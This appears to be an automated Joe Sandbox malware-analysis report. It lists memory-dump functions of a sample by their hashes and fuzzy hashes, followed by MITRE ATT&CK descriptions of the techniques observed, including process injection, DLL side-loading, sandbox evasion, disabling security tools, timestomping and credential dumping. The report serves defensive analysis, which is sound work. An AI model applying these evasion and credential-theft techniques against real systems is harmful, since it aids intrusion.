Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02a5e4c38bbb7b5cec58aa3d51b66d8e0e96ca35e29f180f6c305ea7ed829155
Instruction ID: c592c676549a688b2a27799a2d845fe7436163877a84be18526eab68855648a2
Opcode Fuzzy Hash: 02a5e4c38bbb7b5cec58aa3d51b66d8e0e96ca35e29f180f6c305ea7ed829155
Instruction Fuzzy Hash: 65C1B374E10218CFDB14DFA5C994BADBBB2BF89301F1081AAD809AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 052CE720 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea108cbaeebd8a3c926f4ffe8e8f74b5e19afd014f7aaba13e4e0a90ba8034e
Instruction ID: b3ccb650b6a43dada8c1b9e6ac5b603f78b5baedd6dd8d17e49b2380dad1ca79
Opcode Fuzzy Hash: 8ea108cbaeebd8a3c926f4ffe8e8f74b5e19afd014f7aaba13e4e0a90ba8034e
Instruction Fuzzy Hash: 3DC1C274E10218CFDB25DFA5C984BADBBB2BF89301F1081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 052CB300 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc8953c3553590b47c8774caa8c5c4641eec6a4a7f4916080259c6da7b9b5e8e
Instruction ID: d1a3f264aadcef6575ab8c7f3dea0d212123f34d176722013fd92cb78f99b241
Opcode Fuzzy Hash: cc8953c3553590b47c8774caa8c5c4641eec6a4a7f4916080259c6da7b9b5e8e
Instruction Fuzzy Hash: 79C1D274E10218CFDB24DFA5C994BADBBB2BF89300F5081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 052CEB78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fe814c950a30b70b9ad25ceeb3faf24d4c6b81e7432f3973b7d4b349a5c014a
Instruction ID: 9fcb26bb07369deafb750e72142c18023a8975fe4430f0d80d6543e98941566e
Opcode Fuzzy Hash: 3fe814c950a30b70b9ad25ceeb3faf24d4c6b81e7432f3973b7d4b349a5c014a
Instruction Fuzzy Hash: 3FC1C374E10218CFDB25DFA5C984BADBBB2BF89301F1081AAD409AB355DB359E85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 052CB758 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77d971502d816004ae61fde0c5e06ce42f95b10fbd64ccadc47c59762844fcd
Instruction ID: bbcdaa0fd44e0f774f4e7e7101bbd6b0e8c7c74c0d34507eaa94581e0645d160
Opcode Fuzzy Hash: e77d971502d816004ae61fde0c5e06ce42f95b10fbd64ccadc47c59762844fcd
Instruction Fuzzy Hash: 82C1C274E10218CFDB14DFA5C984BADBBB2BF89301F5081AAD809AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 052CBBB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45451d307650f1ed42ac18f100fd8b75f6fdf32000cce2ebbcd5dd3cc0daf9a0
Instruction ID: 2bed8aba0f2fbba0bab32c59b96aaf9ccf0a09733356fc16b09cbe8fb9d56b46
Opcode Fuzzy Hash: 45451d307650f1ed42ac18f100fd8b75f6fdf32000cce2ebbcd5dd3cc0daf9a0
Instruction Fuzzy Hash: 6CC1C274E10218CFDB14DFA5C984BADBBB2BF89301F5081AAD809AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 052CEFD0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41756df3b71179c30348041f6caaa42a06265577e115591286ab17efdecbc116
Instruction ID: 9233c000513a4e5b6dcd92784b7f1865a345c4d75eab536c6a5bcb15ec5a2d85
Opcode Fuzzy Hash: 41756df3b71179c30348041f6caaa42a06265577e115591286ab17efdecbc116
Instruction Fuzzy Hash: 7AC1B274E10218CFDB24DFA5C994BADBBB2BF89301F1081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 052CDA18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2980128e0afa140c5953154fcbac3dd30f916a9198fac8cbcf6f4a7c6b981c7
Instruction ID: bac3e31d5f6008078df2d90dd05767c526739c32fb72e0031905e1c2e0e5431a
Opcode Fuzzy Hash: a2980128e0afa140c5953154fcbac3dd30f916a9198fac8cbcf6f4a7c6b981c7
Instruction Fuzzy Hash: C4C1C374E10218CFDB14DFA5C994BADBBB2BF89301F1081AAD409AB355DB359E82DF50

Uniqueness

Uniqueness Score: -1.00%

Function 052CDE70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb2ab9fd9a2b61043ae580828e769774b046f016ae07f2ae115ce9eef3fba874
Instruction ID: 7523ffd4b0e679c1124643b91e1f6b55b6da7176d5c0b7b82600eaf729501f60
Opcode Fuzzy Hash: fb2ab9fd9a2b61043ae580828e769774b046f016ae07f2ae115ce9eef3fba874
Instruction Fuzzy Hash: 85C1B274E10218CFDB14DFA5C994BADBBB2BF89301F1081AAD409AB355DB359E86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 052CE2C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a29f95d9063cef0bff348b592108bfa713417b794eb4f12576b415afc527e311
Instruction ID: 20f2b048b158d1ddb6f7bb413a978ebf26c17acb2b21f0d867d1e4aa6bf96524
Opcode Fuzzy Hash: a29f95d9063cef0bff348b592108bfa713417b794eb4f12576b415afc527e311
Instruction Fuzzy Hash: 89C1C374E10218CFDB15DFA5C984BADBBB2BF89301F2081AAD409AB355DB359E81CF10

Uniqueness

Uniqueness Score: -1.00%

Function 069D5EC8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f31ea256c9e9e26118cc3cc47a9e0fc4ee037a83abc2282afe9d920f82395911
Instruction ID: fc83f81fb367ddabb04d01a6777969de5808a0094c8567b21993052761adaff5
Opcode Fuzzy Hash: f31ea256c9e9e26118cc3cc47a9e0fc4ee037a83abc2282afe9d920f82395911
Instruction Fuzzy Hash: 83C1C574E00218CFDB54DFA9C944BADBBB2BF89305F1081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D5618 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c83052efb4c7c4718974d37fdf75944f3019d51d56f1da394416672e0a87b185
Instruction ID: 0522e8a8a06a769f721ab0a1013f12cfdb7a478a9947766478739462e6436bf5
Opcode Fuzzy Hash: c83052efb4c7c4718974d37fdf75944f3019d51d56f1da394416672e0a87b185
Instruction Fuzzy Hash: 26C1C574E00218CFDB54DFA9C994B9DBBB2BF89301F2081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D5A70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f173532240529e0cb3946460ef6004edfd5a84ff945365266e7fb4aad9e850e4
Instruction ID: 2d3afde934bb97a61f4e114d799991e5d03bbeadfac4f9cc5ded6cd04912fba1
Opcode Fuzzy Hash: f173532240529e0cb3946460ef6004edfd5a84ff945365266e7fb4aad9e850e4
Instruction Fuzzy Hash: 4CC1C374E00218CFDB54DFA5C994BADBBB2BF89301F2081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D6BD0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1943bebc0b68091542b3aefcfc1fc3b2532e4042977cd015756776c6ae57195
Instruction ID: e2087c127f7f99f7cfd589a022aae3aae3889d69030beaf59ac244691b50e957
Opcode Fuzzy Hash: e1943bebc0b68091542b3aefcfc1fc3b2532e4042977cd015756776c6ae57195
Instruction Fuzzy Hash: 7CC1C474E00218CFDB54DFA9C984BADBBB2BF89301F1081AAD409AB355DB359E85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D6320 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d3db7d03005677a27f67b4f67466b0ee179d190a76f4e319898e9a552307176
Instruction ID: 0e1231bd4ff1483c8ee3f7e4f0d9907a1d9e44a24f7e59fb724d06bf65e23b57
Opcode Fuzzy Hash: 6d3db7d03005677a27f67b4f67466b0ee179d190a76f4e319898e9a552307176
Instruction Fuzzy Hash: D0C1A374E00218CFDB54DFA5C994B9DBBB2BF89301F2081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D6778 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10ad52eb042aee94f1d3a41360669a8113cbf3483be2d4fa776ba75ab6b8592a
Instruction ID: 61b146206ba3c33ca27838f5f9384dd754675da2bcec82c8bfcc497bc04e8f69
Opcode Fuzzy Hash: 10ad52eb042aee94f1d3a41360669a8113cbf3483be2d4fa776ba75ab6b8592a
Instruction Fuzzy Hash: F1C1B474E00218CFDB54DFA5C994BADBBB2BF89301F2081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D0498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 022c4e55af5015444748ecc0ac3c1ceaf4a6c1c373dea87ac33d12924e71a9da
Instruction ID: e5ce6f2da2811469ca899c5c9f89565909b5eef9f1d0883a4219000ac82ac5fe
Opcode Fuzzy Hash: 022c4e55af5015444748ecc0ac3c1ceaf4a6c1c373dea87ac33d12924e71a9da
Instruction Fuzzy Hash: 58C1A274E00218CFDB54DFA5C994BADBBB2BF89301F2081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D74A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfc220f827538825f2cd198ba16ca54d982724abfa03de1423085fb271796ff9
Instruction ID: 81000ec4934f4dd1358175ad4897591c5d58ee52282dc8dd7c7d61ad78c149f9
Opcode Fuzzy Hash: bfc220f827538825f2cd198ba16ca54d982724abfa03de1423085fb271796ff9
Instruction Fuzzy Hash: FBC1B474E00218CFDB54DFA5C994BADBBB2BF89301F2081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D08F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 304178ba8de71c75232390868986920d9f7577c6d543f44d1791a1cffbfc6b68
Instruction ID: e7404376a8ff9682ae6b390d917eae78a3c311e181bf41b26f83f459bfae0397
Opcode Fuzzy Hash: 304178ba8de71c75232390868986920d9f7577c6d543f44d1791a1cffbfc6b68
Instruction Fuzzy Hash: C3C1A474E00218CFDB54DFA9C994B9DBBB2BF89301F2081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D7050 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5615251d806164f758eec1cfedf2dfbd147c65379fb7edba0846977c36947539
Instruction ID: 26e9ee5b35e6063c7f6a7ee7cbf090bd0390c40401c88a49c4f5d28419943fb4
Opcode Fuzzy Hash: 5615251d806164f758eec1cfedf2dfbd147c65379fb7edba0846977c36947539
Instruction Fuzzy Hash: F1C1D574E00218CFDB54DFA5C994B9DBBB2BF89301F2081A9D409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D0040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6da86480470292dfa3916f9e1c1ff903b73ebd99b4015679da6e366bf488aa7d
Instruction ID: 259a5b553c8e334fe81a4e9c7534d83831879092314e5b1dc13683669b48f764
Opcode Fuzzy Hash: 6da86480470292dfa3916f9e1c1ff903b73ebd99b4015679da6e366bf488aa7d
Instruction Fuzzy Hash: 06C1C474E00218CFDB54DFA5C984B9DBBB2BF89301F2081AAD409AB355DB359E82CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D5198 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb68600ae5b63f01105689732098012f1a2da91d255a262759ca0e27a754c0c
Instruction ID: 8f57a54a6aa5088132cce9c53ecfd8a446551b02dae1556ff148a9f2a76c8113
Opcode Fuzzy Hash: 9fb68600ae5b63f01105689732098012f1a2da91d255a262759ca0e27a754c0c
Instruction Fuzzy Hash: DCC1B474E00218CFDB54DFA5C994B9DBBB2BF89301F2081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D81B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 483bcfafe04c5f463119eac9bca4970571ff3bdb18c440d01a2483662063e697
Instruction ID: 582106ba01569d02e9f782220e3ac2dbf49a8c715639b62b520eb2028fe207aa
Opcode Fuzzy Hash: 483bcfafe04c5f463119eac9bca4970571ff3bdb18c440d01a2483662063e697
Instruction Fuzzy Hash: CCC1C474E00218CFDB54DFA5C984BADBBB2BF89301F2085AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D7900 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f027cf9c3776a7fdc2fc0bafb8bee8c45d838689b546e398d886cc25e034e64
Instruction ID: 3447bfe9211b959ee0e50656f844d05823de00a5a8f61b4afe9dfeed8a4f6f06
Opcode Fuzzy Hash: 7f027cf9c3776a7fdc2fc0bafb8bee8c45d838689b546e398d886cc25e034e64
Instruction Fuzzy Hash: 9DC1C374E00218CFDB54DFA5C984BADBBB2BF89301F2081AAD409AB355DB359E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D7D58 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61aaa0859c680334c3e5ecc7cf46e4a1e16f70fca282c71161a3e305f798199a
Instruction ID: 909b60566dba1029f7b211f6d994411ac5e4ab68acb7fc1dddd76eaccd80ecf4
Opcode Fuzzy Hash: 61aaa0859c680334c3e5ecc7cf46e4a1e16f70fca282c71161a3e305f798199a
Instruction Fuzzy Hash: 3BC1C474E00218CFDB54DFA9C944BADBBB2BF89301F2081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D0D48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b513714586f427a64c111724def62995ddeb809000518175f50d66193225caa3
Instruction ID: a4b868180540f9f1deea88b8fe981edf2d3b9ee03d18234a3e8bc62165d081ae
Opcode Fuzzy Hash: b513714586f427a64c111724def62995ddeb809000518175f50d66193225caa3
Instruction Fuzzy Hash: DDC1C474E00218CFDB54DFA9C944B9DBBB2BF89301F2081AAD409AB355DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 069D33B8 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c816fa43bb5feb4dd3056359a2a3078cab955f1d38d2f619f30a38e583f1a1
Instruction ID: 1ef930725e8951f1281229064a2e169babc69d4845883eac138c41e062ace558
Opcode Fuzzy Hash: 14c816fa43bb5feb4dd3056359a2a3078cab955f1d38d2f619f30a38e583f1a1
Instruction Fuzzy Hash: E8B19674E00218CFDB54DFA9D884A9DBBB2FF89311F1081A9D819AB365DB31AD42CF51

Uniqueness

Uniqueness Score: -1.00%

Function 069D33A8 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d7f08edb84e7c3b69c3f7c42a9c165198b7ff208fb324d8cd9ebbfd7b891f94
Instruction ID: 3a0cf0a60d2ccc414e4ec83d97935180c8033aa176da18f0e02db462154d5cd7
Opcode Fuzzy Hash: 3d7f08edb84e7c3b69c3f7c42a9c165198b7ff208fb324d8cd9ebbfd7b891f94
Instruction Fuzzy Hash: B2519474E00608CFDB48DFAAD984A9DBBF2BF89301F14C169D819AB365DB309942CF51

Uniqueness

Uniqueness Score: -1.00%

Function 069D36CE Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3690568724.00000000069D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_69d0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b37fd8a64a5fde050d774911cc498f34fec704a19b8f86d77dda4fee4438515
Instruction ID: b6bb8dfb148ac9411ae8e253b08f16e29cfff7a6ef93646589ba79eedb020c0a
Opcode Fuzzy Hash: 0b37fd8a64a5fde050d774911cc498f34fec704a19b8f86d77dda4fee4438515
Instruction Fuzzy Hash: 0DD09274D0825CCBCB20EFA8D8813ADF772FB86711F0029A69109BB640D7309E659E57

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
